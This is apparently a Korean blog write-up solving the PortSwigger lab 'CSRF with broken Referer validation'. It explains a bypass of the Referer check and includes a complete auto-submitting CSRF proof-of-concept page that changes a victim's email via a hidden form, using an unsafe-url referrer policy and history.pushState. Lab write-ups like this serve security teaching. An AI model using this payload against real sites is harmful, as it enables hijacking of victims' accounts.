WEB hacking/PortSwigger

Lab: CSRF with broken Referer validation 문제 풀이(WriteUp)

Roronoa 2025. 6. 23. 00:28
반응형

문제 설명

피해자의 이메일을 변경하면 문제를 해결할 수 있다.

문제 설명

문제 풀이

My Account 페이지에 접근한 후 이메일 변경 요청을 수행한다.

이메일 변경 요청

 

이메일 변경 요청 시 CSRF 토큰이 존재하지 않는다.

CSRF 토큰 미존재

 

Referer 헤더를 제거한 후 이메일 변경 요청을 수행할 시 Referer 검증을 통해 에러를 반환한다.

Referer 검증

 

Referer 헤더에 google.com?같은 사이트 와 같이 전송하면, Referer 검증을 우회할 수 있다.

Referer 우회 가능

 

POC

meta 태그 referrer 속성을 unsafe-url로 설정한다.

history.pushState()를 사용하여 페이지를 reload하지 않고 url만 변경한 후 CSRF 공격을 진행한다.

<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://0a2000ee038054828105854600d50054.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener123&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/?0a2000ee038054828105854600d50054.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

 

 

공격 코드를 피해자에게 전송하여 문제를 해결하였다.

문제 해결

 

반응형